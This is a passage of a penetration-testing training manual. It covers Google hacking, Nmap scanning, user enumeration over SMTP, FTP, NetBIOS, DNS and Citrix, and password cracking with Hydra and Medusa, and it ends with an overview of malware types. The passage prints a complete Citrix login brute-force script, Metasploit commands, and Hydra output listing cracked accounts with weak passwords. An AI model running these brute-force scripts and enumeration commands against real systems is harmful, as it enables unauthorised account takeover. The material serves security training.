called “IP WHOIS” or “Inet-WHOIS” and querying domain names is called “Domain WHOIS” or

“Inic-WHOIS”.

An attacker is able to retrieve network information with an information gathering tools such as

Dmitry:

Page 30: Hacker techniques, exploit and incident handling

29 | P a g e

Where Inic-WHOIS might be masked/private/proxied/censored:

The Inet-WHOIS might not be:

Page 31: Hacker techniques, exploit and incident handling

30 | P a g e

Or by using a free public online service such as:

http://www.dnsstuff.com

http://www.dnstools.com

http://www.centralops.net

For Example:

Page 32: Hacker techniques, exploit and incident handling

31 | P a g e

Page 33: Hacker techniques, exploit and incident handling

32 | P a g e

Google Hacking What is Google hacking

Finding Old Vulnerable Web Pages / Fast & Passive Web Crawling/Spidering

Page 34: Hacker techniques, exploit and incident handling

33 | P a g e

Finding Login Interfaces

Page 35: Hacker techniques, exploit and incident handling

34 | P a g e

Finding Exploitable Vulnerable Web Systems by Signature

Choosing a public exploit:

Page 36: Hacker techniques, exploit and incident handling

35 | P a g e

Finding the a vulnerable website

Finding a vulnerable machine as the exploitation target can be done by using Google to find

websites containing a similar long path or directory tree:

Page 37: Hacker techniques, exploit and incident handling

36 | P a g e

Alternately, the vulnerable website can be found by using the “Powered by” signature of open

source projects:

Page 38: Hacker techniques, exploit and incident handling

37 | P a g e

Verifying the vulnerability exists

Page 39: Hacker techniques, exploit and incident handling

38 | P a g e

Exploiting the Vulnerability

Opening a free hosting account

Page 40: Hacker techniques, exploit and incident handling

39 | P a g e

Local File Inclusion Example:

Page 41: Hacker techniques, exploit and incident handling

40 | P a g e

Page 42: Hacker techniques, exploit and incident handling

41 | P a g e

Finding Cameras

Page 43: Hacker techniques, exploit and incident handling

42 | P a g e

Page 44: Hacker techniques, exploit and incident handling

43 | P a g e

Finding Password Files

Page 45: Hacker techniques, exploit and incident handling

44 | P a g e

Page 46: Hacker techniques, exploit and incident handling

45 | P a g e

Page 47: Hacker techniques, exploit and incident handling

46 | P a g e

Scanning and Scanning Definition

The term scanning refers to the phase of discovering machines, protocols and ports existing in

an accessible computer network. Port Scanning is an art and a crucial part of the reconnaissance

process. Many junior information security personnel tend to make mistake during the scanning

process and do not discover certain machines and services, which results in vulnerabilities not

found and therefore not repaired.

The common scanning concept relies on the idea that a certain service is listening on a default

port number and by successfully connecting to that port number it is a reasonable to assume

that it is the expected service. In order to positively identify the true service listening on the port

scanners sends the “Hello Message” of all the known protocols in its database until it gets a

response in the same protocol.

The most famous scanner is Nmap, which has been developed since 1997 and supports

practically every known port scanning method. Two most common port scanning methods are

the SYN scan and Connect scan.

• Connect Scan: Nmap –PN –open –v –A –p1-65535 –sT <ip>

o Slower

o 100% Reliable (if you can connect than it is publicly open)

o Allows Inquiring the true underlying service

o Can be implemented using any programming language (even JavaScript)

• SYN Scan: Nmap –PN –open –v –A –p1-65535 –sS <ip>

o Fastest scanning method

o Sends only one packet for each port

o Requires a driver to be installed

o Might trigger a false alarm of a “SYN Flood” attack in *Firewalls/*IDS/*IPS

Page 48: Hacker techniques, exploit and incident handling

47 | P a g e

Page 49: Hacker techniques, exploit and incident handling

48 | P a g e

Enumeration Overview of System Hacking Cycle

Enumerating the allowed HTTP Methods on a Web Server:

Page 50: Hacker techniques, exploit and incident handling

49 | P a g e

Enumerating Usernames Using Google

Exposed Configuration Files

Page 51: Hacker techniques, exploit and incident handling

50 | P a g e

Company Email Addresses:

In most cases, a user’s email address is also his username inside the company, especially when

Single Sign-On (SSO) is implemented.

Page 52: Hacker techniques, exploit and incident handling

51 | P a g e

SMTP Enumeration (VRFY, EXPN, RCPT TO, NDR)

Using the SMTP VRFY Command

It is possible to enumerate the existing users and email aliases using the official SMTP VRFY

request. It is possible to automate the process with a simple script/tool such as: “smtp-user-

enum.pl”.

The output below shows how the SMTP server responds differently to VRFY requests for valid and

invalid users. It is recommended that a manual check like the following is carried out before running

smtp-user-enum. Obviously the tool won't work if the server doesn't respond differently to requests

for valid and invalid users.

$ telnet 10.0.0.1 25

Trying 10.0.0.1...

Connected to 10.0.0.1.

Escape character is '^]'.

220 myhost ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 myhost Hello [10.0.0.99], pleased to meet you

VRFY no_such

550 no_such... User unknown

VRFY root

250 Super-User <root@myhost>

To use smtp-user-enum to enumerate valid usernames using the VRFY command, first

prepare a list of usernames (users.txt) and run the tool as follows:

$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1 Starting smtp-user-enum v1.0 ( http://pentestmonkey.net/tools/smtp-user-enum ) ---------------------------------------------------------- | Scan Information | ---------------------------------------------------------- Mode ..................... VRFY Worker Processes ......... 5 Usernames file ........... users.txt Target count ............. 1 Username count ........... 47 Target TCP port .......... 25 Query timeout ............ 5 secs Relay Server ............. Not used

Page 53: Hacker techniques, exploit and incident handling

52 | P a g e

######## Scan started at Sun Jan 21 18:01:50 2011 ######### [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists ######## Scan completed at Sun Jan 21 18:01:50 2011 ######### 9 results. 47 queries in 1 seconds (47.0 queries / sec)

It's worth noting that postmaster is not actually a valid OS-level user account - it's a mail

alias.

Using the SMTP EXPN Command

The output below shows how the SMTP server responds differently to EXPN requests for

valid and invalid users.

$ telnet 10.0.0.1 25

Trying 10.0.0.1...

Connected to 10.0.0.1.

Escape character is '^]'.

220 myhost ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 myhost Hello [10.0.0.99], pleased to meet you

EXPN no_such

550 no_such... User unknown

EXPN root

250 Super-User <root@myhost>

To use smtp-user-enum to enumerate valid usernames using the VRFY command, first

prepare a list of usernames (users.txt) and run the tool as follows (unsurprisingly, we get

the same results as above):

$ smtp-user-enum.pl -M EXPN -U users.txt -t 10.0.0.1 Starting smtp-user-enum v1.0 ( http://pentestmonkey.net/tools/smtp-user-enum )

Page 54: Hacker techniques, exploit and incident handling

53 | P a g e

---------------------------------------------------------- | Scan Information | ---------------------------------------------------------- Mode ..................... EXPN Worker Processes ......... 5 Usernames file ........... users.txt Target count ............. 1 Username count ........... 47 Target TCP port .......... 25 Query timeout ............ 5 secs Relay Server ............. Not used ######## Scan started at Sun Jan 21 18:01:50 2011 ######### [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists [email protected]: Exists ######## Scan completed at Sun Jan 21 18:01:50 2011 ######### 9 results. 47 queries in 1 seconds (47.0 queries / sec)

Using the SMTP RCPT TO Command

The output below shows how the SMTP server responds differently to RCPT TO requests

for valid and invalid users. This is often to the most useful technique as VRFY and EXPN

are often disabled to prevent username enumeration.

$ telnet 10.0.0.1 25

Trying 10.0.0.1...

Connected to 10.0.0.1.

Escape character is '^]'.

220 myhost ESMTP Sendmail 8.9.3

HELO

501 HELO requires domain address

HELO x

250 myhost Hello [10.0.0.99], pleased to meet you

MAIL FROM:root

250 root... Sender ok

Page 55: Hacker techniques, exploit and incident handling

54 | P a g e

RCPT TO: no_such

550 no_such... User unknown

RCPT TO:root

250 root... Recipient ok

Non Delivery Response (NDR)

Mail servers are friendly and attempt to provide users with the best service they can.

Therefore, when someone sends an email to a non-existing user, the mail server notifies

him that this user doesn’t exist, so he can correct his type error or call that person to get

his new account name.

To enumerate usernames using NDR, the attacker just sends an email to an account on a

certain domain, if the account exists the attacker gets no notification, if it doesn’t exist,

you will get a NDR email, saying this account doesn’t exist.

POP3 Enumeration The Post Office Protocol (POP3) is used by users to read their emails. In order for a user to get his mailbox contents, the server requires the user to identify in two sequential steps. The first step the user sends the keyword “USER” followed by a space and his username. At the second step the user sends the keyword “PASS” followed by a space and his password in clear-text.

Page 56: Hacker techniques, exploit and incident handling

55 | P a g e

Some POP3 servers were implemented in such a way that they reply with different error messages when the user exists and a different one when he doesn’t. Let's select a random list of names and passwords, connect to POP3 server with a telnet client of your choice, and try to authenticate. Following is an example of a POP3 server listening on an AS/400 machine:

Page 57: Hacker techniques, exploit and incident handling

56 | P a g e

Private User Directories

Apache User Enumeration

http://www.example.com/~<username>

When a remote user makes a request for a possible user's default home page, the

server returns one of three responses:

• In a case where username is a valid user account, and has been configured with a

homepage, the server responds with the user's homepage.

• When username exists on the system, but has not been assigned a homepage

document, the server returns the message "You don't have permission to access

/~username on this server."

• If the tested username does not exist as an account on the system, the Apache

server's response includes the message "The requested URL /~username was not

found on this server." or refers to the default error page configured for this error.

For Example:

When the user doesn’t exit, it redirects to the website main page:

WordPress Authors Template User Enumeration Vulnerability

There are other places where you might be able to find some usernames. A good

example is WordPress author templates which allow you to extract usernames through

URLs with the following syntax: /wordpress/author/authorname/

i.e.:

Page 58: Hacker techniques, exploit and incident handling

57 | P a g e

http://www.target-domain.com/wordpress/author/admin/

http://www.target-domain.com/wordpress/author/root/

A case when the user doesn’t exist:

A case when the user exists:

Page 59: Hacker techniques, exploit and incident handling

58 | P a g e

FTP

CWD Username Enumeration Vulnerability (Example: Solaris in.ftpd)

The Sun Solaris operating systems contains a built-in ftp server called “in.ftpd”. This FTP

server has classic user enumeration vulnerability. When a user is logged on to the

server, even with anonymous access, he can call the command CWD (Current Working

Directory) followed by a username.

The server will reply a different response if the user account exists and a different one if

it doesn’t. For Example:

“CWD ~root”

FTP Server Authentication Delay Username Enumeration Vulnerability

(Example: ProFTPD)

A timing attack exists in ProFTPD that could assist a remote user in enumerating

usernames. The analysis of the response time during authentication gives an attacker

indication as to whether or not the supplied username is valid.

The problem occurs due to altering execution paths when the daemon encounters a

valid, invalid or privileged username. A remote attacker can exploit this vulnerability to

determine what usernames are valid, privileged, or do not exist on the remote system.

When authentication attempt is sent to the FTP server, it will respond slowly if the

username exists and faster if it doesn’t.

Telnet

Telnet Server User Field Account Enumeration (Example: Cisco Aironet)

A flaw was discovered in the firmware of Cisco Aironet AP1100 Valid version 12.2. The

flaw allows a malicious remote user to discover which accounts are valid on the targeted

Cisco Aironet Access Point by submitting a user name as the first parameter.

If the account exists the attacker will be then prompted for the password.

If not, the server will reply with the message: ""% Login invalid", revealing the account

doesn’t exist.

Web Server Pre-Login – HTTP Response based enumeration (Example:

Lotus Domini)

Page 60: Hacker techniques, exploit and incident handling

59 | P a g e

An issue was reported in Lotus Domino server (“Lotus Domino Username Enumeration

Vulnerability”), which could allow for remote users to determine the validity of a

username existing on a host.

When a remote user submits a GET request for a possible user's account, the server

response assists the user in determining the validity of the username submitted. If the

submitted username is valid, the server replies with an HTTP 200 OK message and the

login screen.

Alternatively, when the submitted username is not valid (meaning that it does not exist

on the system), the server responds with a 404 File not Found message. Because the

server responds differently depending on whether or not the username is valid, an

attacker user can test and enumerate possible usernames.

Error Message User Enumeration:

Most systems developed in the last decade are web applications. Most of these application

require a user login mechanism which is being developed by the companies themselves. As

secure development is not taught in Universities in the common Computer Science and

Software Engineering degrees, most developers, make the same common mistakes when

developing login mechanism.

The most common mistakes are the application replying different error messages when the user

account exists and a different when it doesn’t. For Example:

• System Registration Error Message User Enumeration

o Sorry, there is already an account registered with the same email address.

• System Login Error Message User Enumeration

o Authentication failure: entered username does not exist.

o Authentication failure: incorrect password entered.

• System “Forget Password” Error/Success Message User Enumeration

o Sorry, the email address entered does not exist.

o A new password has been sent to your email address.

NetBIOS User Enumeration

The LSA (Local Security Authority) server on every Windows machine is the service which

handles the user login and determines the access levels each user gets to the system objects

when he connects to system services such as RPC, WMI, Remote Desktop and NetBIOS.

Page 61: Hacker techniques, exploit and incident handling

60 | P a g e

In every Windows Server 2003 and prior, This “RestrictAnonymous” setting is configured by

default to allow unauthenticated users to retrieve information regarding any/all local/domain

users (RestrictAnonymous=0). This setting allows an attacker to connect to the server using no

username and password.

For Example by using: ‘cmd /c net use \\domain_server /user:”” “”’ or by using the common

NetBIOS user enumeration tool written by SecurityFriday, “GetAcct”:

It is also possible to use the tool Winfingerprint and obtain information from all common

services exposed by a local server on the network:

Page 62: Hacker techniques, exploit and incident handling

61 | P a g e

Mcafee FoundStone SuperScan 4:

Page 63: Hacker techniques, exploit and incident handling

62 | P a g e

NetBIOS Enumerator

Page 64: Hacker techniques, exploit and incident handling

63 | P a g e

GFI Languard

SNMP Enumeration

It is possible to obtain the system information about the remote host by sending SNMP requests

with a remotely existing “OID” (Object ID) such as 1.3.6.1.2.1.1.1. An attacker may use this

information to gain more knowledge about the target host.

An attacker is able to remotely discover the machines usernames, IPs connected to the machine,

MAC addresses, internal IPs, gateways, DNS servers (which can be used for fast DNS in order to

take over the internal network). The attacker also knows the exact model and firmware version

to this machine and can use it to create reliable exploit.

An Example of a remote SNMP Enumeration:

Page 65: Hacker techniques, exploit and incident handling

64 | P a g e

DNS Enumeration

A penetration test project beings in collecting information and mapping all the remotely

accessible organization’s servers. The Domain Name Server can be used to extract some

of the existing subdomains and discover more IPs, with different server types, from Web

Servers to Firewalls, VPNs and Citrix Servers.

The DNS sub domains can be enumerated by using a dictionary of common sub domain

names such as “mail”, “webmail”, “vpn”, “backoffice”, “fw” and etc…

In order to find customized sub domain names, an attacker must run a full remote brute

force attack and is likely to disclose all subdomains names from 1 to 8 characters length

with letters and numbers. Since the DNS protocols is UDP based, the brute force attack

faster than most other network brute force attack.

Page 66: Hacker techniques, exploit and incident handling

65 | P a g e

Dictionary Based DNS Enumeration

Brute Forcing DNS Sub-Domains

Page 67: Hacker techniques, exploit and incident handling

66 | P a g e

VoIP User Enumeration

Most currently deployed VoIP servers are using SIP (Session Initiation Protocol) server

implementations, which are very similar to HTTP. In order to authenticate using the SIP

protocol, the remote user must specify the extension name to log into. Then the user is

required to submit his username and password, where in most cases the extension

number is also the username.

Several VoIP systems start the first extension number from 100 and set the default

password of all extensions to the extension number. This means that for some VoIP

servers, the default user names and passwords will be 100:100, 101:101 and etc…

Enumerating Extensions:

Enumerate Usernames: (Example: Inter Asterisk Exchange protocol)

Page 68: Hacker techniques, exploit and incident handling

67 | P a g e

Citrix Published Applications Remote Enumeration

It is possible to use several tools such as:

http://packetstormsecurity.org/defcon10/dc10-vitek/citrix-pa-scan.c

http://packetstormsecurity.org/defcon10/dc10-vitek/citrix-pa-proxy.pl

The Citrix Application Enumeration script can be used as follows:

#. /citrix-pa-scan 212.123.69.1

Citrix Published Application Scanner version 1.0 By Ian Vitek, [email protected]

212.123.69.1: Found Applications:

Printer Config

Admin Desktop

i-desktop

It is also possible to use Nmap or MetaSploit to enumerate the applications published by a Citrix

Server:

$ msfconsole

## ### ## ##

## ## #### ###### #### ##### ##### ## #### ######

####### ## ## ## ## ## ## ## ## ## ## ### ##

Page 69: Hacker techniques, exploit and incident handling

68 | P a g e

####### ###### ## ##### #### ## ## ## ## ## ## ##

## # ## ## ## ## ## ## ##### ## ## ## ## ##

## ## #### ### ##### ##### ## #### #### #### ###

##

msf > use auxiliary/gather/citrix_published_bruteforce

msf auxiliary(citrix_published_bruteforce) > set RHOST [TARGET IP]

msf auxiliary(citrix_published_bruteforce) > run

Once found, an application can be manually added to the local ICA client:

Page 70: Hacker techniques, exploit and incident handling

69 | P a g e

System Hacking Part 1- Cracking Password

Brute Forcing Passwords – Telnet:

Cracking Accounts Using Hydra

Using the tool Hydra by THC (The Hacker’s Choice), it is possible to remotely and reliably crack

accounts of almost every commonly used system.

Hydra supports cracking accounts in all the following protocols: imap, imap-ntlm, smb smbnt,

http/https-{head|get|post|post-form}, http-proxy, cisco (telnet), cisco-enable (telnet), vnc,

ldap2, ldap3, mssql, mysql, oracle-listener, postgres, nntp, socks5, rexec, rlogin, pcnfs, snmp,

rsh, cvs, svn, icq, sapr3, ssh2, smtp-auth, smtp-auth-ntlm, pcanywhere, teamspeak, sip, vmauthd

hydra.exe -L "usernames.txt" -P "passwords.txt" -e ns -o cracked_smbs.txt

<any_domain_connected_machine> smb

Example:

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2010-11-07 17:16:06

[DATA] 1 tasks, 1 servers, 4652972 login tries (l: 11026/p: 422), ~4652972 tries per task

[DATA] attacking service smb on port 139

Page 71: Hacker techniques, exploit and incident handling

70 | P a g e

[STATUS] 8332.00 tries/min, 8332 tries in 00:01h, 4644640 to do in 09:18h

[STATUS] 7643.33 tries/min, 22930 tries in 00:03h, 4630042 to do in 10:06h

[STATUS] 7530.43 tries/min, 52713 tries in 00:07h, 4600259 to do in 10:11h

[139][smb] host: 10.205.200.206 login: PRAVNER password: 12345

[139][smb] host: 10.205.200.206 login: ZORIK password: 12345

[139][smb] host: 10.205.200.206 login: COHSIGAL password: 123456

[139][smb] host: 10.205.200.206 login: INADRIAN password: 123456

[139][smb] host: 10.205.200.206 login: Guest password: Guest

[139][smb] host: 10.205.200.206 login: MLSHOSHANA password: 12345

[139][smb] host: 10.205.200.206 login: MEETING_ROOM password: 12345

[STATUS] 7803.07 tries/min, 117046 tries in 00:15h, 4535926 to do in 09:42h

[139][smb] host: 10.205.200.206 login: SHIL password: 22222

[139][smb] host: 10.205.200.206 login: NTRFAX password: NTRFAX

[139][smb] host: 10.205.200.206 login: EZORLY password: 22222

[139][smb] host: 10.205.200.206 login: anonymous password: anonymous

[139][smb] host: 10.205.200.206 login: INFO password: 12345

[139][smb] host: 10.205.200.206 login: NTJERPDC password: NTJERPDC

[STATUS] 8046.32 tries/min, 249436 tries in 00:31h, 4403536 to do in 09:08h

[139][smb] host: 10.205.200.206 login: GRMINA password: 123456

[139][smb] host: 10.205.200.206 login: BRSHUKI password: 123456

[139][smb] host: 10.205.200.206 login: KZADINA password: 123456

[139][smb] host: 10.205.200.206 login: SPOFER password: 123456

[STATUS] 8254.85 tries/min, 387978 tries in 00:47h, 4264994 to do in 08:37h

[139][smb] host: 10.205.200.206 login: ALROZE password: 123456

[139][smb] host: 10.205.200.206 login: CHYULI password: 12345

Cracking Accounts Using Medusa:

Medusa is very much like Hydra, it supports the following protocols: AFP, CVS, FTP,

HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL,

REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN),

Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper, Web Form

Here is an example of usage and results:

% medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt Medusa v1.0-rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: (1/7)

Page 72: Hacker techniques, exploit and incident handling

71 | P a g e

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7) ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7) ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7) ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7) ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7) ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)

Brute Forcing Check Point Client Authentication Remote Service

The Check Point web Client Authentication Remote Service is just a simple HTML based

authentication form, easily attacked with a common web brute force tool such as Hydra,

Medusa, Crowbar and etc…

The login page was displayed at the enumeration section. The result of a successful login

attempt into a default user in Check Point Firewall looks like this:

Brute Forcing Citrix ICA Servers

Page 73: Hacker techniques, exploit and incident handling

72 | P a g e

The hacker pdp from GNUCITIZEN.org wrote a Citrix Brute Force tool (I guess this was the first

public one and for now seems to be the only) which uses the “Citrix.ICAClient” COM Object to

manipulate the local Citrix client to make the login attacks. The code is a local JavaScript code

running under “Windows Script Host”.

var actns = [];

var pairs = [];

var parms = {};

var util = this;

var usernames = [];

var passwords = [];

var timeout = 5000;

if (WScript.Arguments.length < 3) {

WScript.Echo('usage: ' + WScript.ScriptName + ' key=value key=value key=value ...');

WScript.Echo(' ' + WScript.ScriptName + ' TCPBrowserAddress=172.16.3.191 usernames=user1,user2 passwords=pass1,pass2');

WScript.Echo(' ' + WScript.ScriptName + ' HTTPBrowserAddress=172.16.3.191 userfile=file.txt passfile=file.txt'); WScript.Echo(' ' + WScript.ScriptName + ' TCPBrowserAddress=172.16.3.191 usernames=user1,user2 passwords=pass1,pass2 timeout=5000');

WScript.Echo('');

WScript.Echo('CITRIX Login Bruteforce Utility');

WScript.Echo('by Petko D. Petkov (pdp) GNUCITIZEN (http://www.gnucitizen.org)');

WScript.Quit(1);

}

var try_out = WScript.CreateObject('Citrix.ICAClient');

for (var i = 0; i < WScript.Arguments.length; i++) {

var arg = WScript.Arguments(i);

var tkn = arg.split('=');

try {

var name = tkn[0].replace(/^\s+|\s+$/g, '');

var value = tkn[1].replace(/^\s+|\s+$/g, '');

switch (name) {

case 'timeout':

try {

timeout = int(value);

} catch (e) {

Page 74: Hacker techniques, exploit and incident handling

73 | P a g e

WScript.Echo("option 'timeout' must be an integer value");

}

break;

case 'usernames':

var items = value.split(',');

for (var z = 0; z < items.length; z++) {

usernames.push(items[z].replace(/^\s+|\s+$/g, ''));

}

break;

case 'passwords':

var items = value.split(',');

for (var z = 0; z < items.length; z++) {

passwords.push(items[z].replace(/^\s+|\s+$/g, ''));

}

break;

case 'userfile':

try {

var fso = WScript.CreateObject('Scripting.FileSystemObject');

var f = fso.OpenTextFile(value, 1);

while (!f.AtEndOfStream) {

var line = f.ReadLine();

usernames.push(line.replace(/^\s+|\s+$/g, ''));

}

f.Close();

} catch (e) {

WScript.Echo(e.message);

WScript.Quit(1);

}

break;

case 'passfile':

try {

var fso = WScript.CreateObject('Scripting.FileSystemObject');

var f = fso.OpenTextFile(value, 1);

while (!f.AtEndOfStream) {

var line = f.ReadLine();

passwords.push(line.replace(/^\s+|\s+$/g, ''));

}

f.Close();

} catch (e) {

WScript.Echo(e.message);

WScript.Quit(1);

}

break;

default:

try_out.SetProp(name, value);

parms[name] = value;

Page 75: Hacker techniques, exploit and incident handling

74 | P a g e

}

} catch (e) {

WScript.Echo("option '" + arg + "' not recognized");

WScript.Quit(1);

}

}

}

function frap(f) {

var a = [];

for (var i = 1; i < arguments.length; i++) {

a.push(arguments[i]);

}

return function () {

f.apply(f, a);

};

}

for (var i = 0; i < usernames.length; i++) {

for (var z = 0; z < passwords.length; z++) {

pairs.push([usernames[i], passwords[z]]);

}

}

for (var i = 0; i < pairs.length; i++) {

actns.push(frap(function (i) {

util['_cls' + i] = WScript.CreateObject('Citrix.ICAClient', '_ica' + i);

util['_ica' + i + 'OnLogon'] = frap(function (i) {

WScript.Echo(pairs[i]);

util['_cls' + i].Disconnect();

}, i);

for (var z in parms) {

util['_cls' + i].setProp(z, parms[z]);

}

util['_cls' + i].setProp('UserName', pairs[i][0]);

util['_cls' + i].setProp('Password', pairs[i][1]);

util['_cls' + i].setProp('Launch', 'TRUE');

util['_cls' + i].Connect();

actns.push(frap(function (i) {

util['_cls' + i].Disconnect();

}, i));

}, i));

}

while(1) {

var action = actns.pop();

if (action) {

action();

} else {

WScript.Quit(0);

Page 76: Hacker techniques, exploit and incident handling

75 | P a g e

}

WScript.Sleep(timeout);

}

pdp also wrote a script to use Citrix legitimately, after a user and a password were obtained:

var client = WScript.CreateObject('Citrix.ICAClient');

if (WScript.Arguments.length == 0) {

WScript.Echo('usage: ' + WScript.ScriptName + ' key=value key=value key=value ...');

WScript.Echo(' ' + WScript.ScriptName + ' TCPBrowserAddress=172.16.3.191 Application=Notepad');

WScript.Echo('');

WScript.Echo('CITRIX Client Utility');

WScript.Echo('by Petko D. Petkov (pdp) GNUCITIZEN (http://www.gnucitizen.org)');

WScript.Quit(1);

} else {

for (var i = 0; i < WScript.Arguments.length; i++) {

var arg = WScript.Arguments(i);

var tkn = arg.split('=');

try {

var name = tkn[0].replace(/^\s+|\s+$/g, '');

var value = tkn[1].replace(/^\s+|\s+$/g, '');

client[name] = value;

} catch (e) {

WScript.Echo("option '" + arg + "' not recognized");

WScript.Quit(1);

}

}

}

try {

client.Launch = "TRUE";

client.Connect();

} catch (e) {

WScript.Echo(e);

}

Page 77: Hacker techniques, exploit and incident handling

76 | P a g e

Trojans and Backdoors Effect on Business

In this section we will cover the most common malware in the world, what it does, how it works

and how it affects the world’s computer industry and the economy. The types of malware to be

covered:

Dialers

FraudWare

Keyloggers

Spyware & Browser Trojans

Trojans

Password Stealers

RansomWare

Network Shares/Local Replicating Viruses

Worms

The following is according to a research made by the Ponemon Institute:

We see that cybercrime damage had costs 45 companies about 52 billion dollars in every year.

Here we can see that 80% of attacks result in a Trojan, Backdoor, Worm or Virus being installed.

Page 78: Hacker techniques, exploit and incident handling

77 | P a g e

Auto Dialers

Mutes the modem’s speaker

Automatically calling 1-900 numbers on your behalf

You are being charged between $1 to $20 or more per minute.

At the end of the month it usually ends with a sum greater than 5000$

Anti-Viruses don’t supply a generic way to stop these viruses, we do not let any software

create and dial connections.

FraudWare

A fake “Anti-Spyware” or “Anti-Virus” product

Has a GUI, looks the same as a genuine AV

Installs some applications on your computer to scare you, for example a red desktop

background with pirate skull and a popup with “Virus Found, pay to purchase license

and remove it”

Known signatures by AVs treat is as “Not.a.virus.fraudware” and do nothing

Page 79: Hacker techniques, exploit and incident handling

78 | P a g e

It may self-update to a real unknown virus

Keylogger

Divides to 2 types:

▪ User mode

▪ SetWindowHooksEx

▪ GetAsyncKeyState

▪ Code Example: http://www.rootkit.com/newsread.php?newsid=346

▪ Uncaught Example: Keylogger Running Under Kaspersky 2009

▪ Kernel Mode

▪ A smart driver sitting as low as physically contacting your keyboard

▪ Most of them are undetectable and once ran, can shut down and delete

any Anti-Virus

▪ Code Example:

http://www.woodmann.com/forum/attachment.php?attachmentid=10

84&d=1093991813

Page 80: Hacker techniques, exploit and incident handling

79 | P a g e

▪ 99% uncaught

How can we differentiate between a Keylogger and a computer game?

Spyware & Browser Trojans

Integrates itself to your browser

Tracks browsing/buying preferences

Steals account passwords

Bypasses firewalls as it is injecting “image requests” into active user initiated

connections to “safe websites“

Caught based on signatures and URL blacklists which are modified every day

Trojans

Integrates itself into your system to stealthily run on each boot

Opens a shell or connects back to the attacker for a live session or to retrieve

“commands”

Some are integrated with a password stealer and a Keylogger

A famous Trojan is: “SubSeven”

Easy to write, hard to “detect” as it does the same actions legitimate software does (e.g

Skype)

Password Stealers

Most run once and “suicides”, others may Integrate itself into

your system to stealthily run on each boot

Some also have an integrated Keylogger

Page 81: Hacker techniques, exploit and incident handling

80 | P a g e

Steal passwords saved by clients and typed into clients at runtime. (e.g. dialup, email, IE,

MSN, YMSN, ICQ/AOL, Oracle, FTP passwords)

A famous Russian Password Stealer: “Pinch!”

Easy to write, almost impossible to detect as malicious, “it just reads local non-

document files and a few non-system registry entries”, “perhaps it’s a password

manager?”)

RansomWare

RansomWare typically propagates as a conventional computer worm, entering a system

through, for example, vulnerability in a network service or an e-mail attachment. It may then:

Disable an essential system service or lock the display at system startup.

Encrypt some of the user's personal files. Encrypting RansomWare was

originally referred to as crypto-viruses, crypto-Trojans or crypto-worms.

In both cases, the malware may extort by:

Prompting the user to enter a code obtainable only after wiring payment to the attacker

or sending an SMS message and accruing a charge.

Urging the user to buy a decryption or removal tool.

More sophisticated RansomWare may hybrid-encrypt the victim's plaintext with a

random symmetric key and a fixed public key. The malware author is the only party that knows

the needed private decryption key. The author who carries out this crypto-viral extortion attack

offers to recover the symmetric key for a fee.

A famous example: “Gpcode”, an RSA 1024BIT encryption, Kaspersky Anti-Virus labs

requested help from the community in order to reach 15 million computers, running for

about a year, to crack one variant’s key

How can such software be detected?! This is an everlasting logical vulnerability. It just

reads local files and deletes local files. The Anti-Virus model does not cover file deletion

or file reading…

Page 82: Hacker techniques, exploit and incident handling

81 | P a g e

Page 83: Hacker techniques, exploit and incident handling

82 | P a g e

Viruses and Worms Virus History

Viruses and Worms are the living diseases of computers. They are the only type of software

which actually breeds itself and can even mutate completely automatically. There is no doubt

that some of the largest damages of all time made to economy were due to worms breakouts.

Looking at the research done by the Ponemon Institute clearly proves the point.

Local Replicating Viruses

These are the old fashioned “DOS days”, well known “viruses” which infect all the

applications in the system in order to spread and survive Anti-Virus removal attempts

Since Windows 95, these viruses also replicate themselves into Writable Network Shares

and to restricted ones using the logged on user credentials

This virus model was almost instinct until 2004 where it was combined with spreading

through P2P file sharing by

The famous “W32/Netsky.c@MM” replicated itself into the KaZaA” shared folder with

attractive names such as “Microsoft WinXP Crack.exe“

Page 84: Hacker techniques, exploit and incident handling

83 | P a g e

As the virus industry is now financially motivated, latest Trojans infect non-built-in

startup applications to load on boot without changing the system configuration or files,

only the applications whose integrity is not verified.

Worms

The term defines a virus with non-local, wide-spread virus propagation techniques

Began in Windows 95 with Microsoft Office “Macros” (famous Melissa) until 2002

where macros were disabled by default with its cousin, the “Mass-Mailing”

(famous “I Love You”) worms which are still at the top

The new generation started in 2003 with “W32.Blaster” followed by “W32.Sasser” and

many others

These are the really money making and industry shaping viruses who conquers the

world in less than a week

Today since there are Firewalls, these worms are spread in combination with browser

and email client infections in order to penetrate networks and use 0-Day exploits such

as the unbelievable MS08-067

Antivirus

Anti-Virus is software installed on a computer endpoint or a computer network content gateway

(Web, Email…). Its purpose is detecting and removing different malicious code from the viruses

and worms family up to Trojans and key-loggers.

Anti-Viruses have three main operation methods:

1. Signature Based (Black-List) – inspecting any accessed content and comparing strings

and code sequences from the disk and the computer’s memory against a preinstalled

signature database.

2. Heuristic Based (Patterns) – Inspecting the behavior of software in order to find patterns

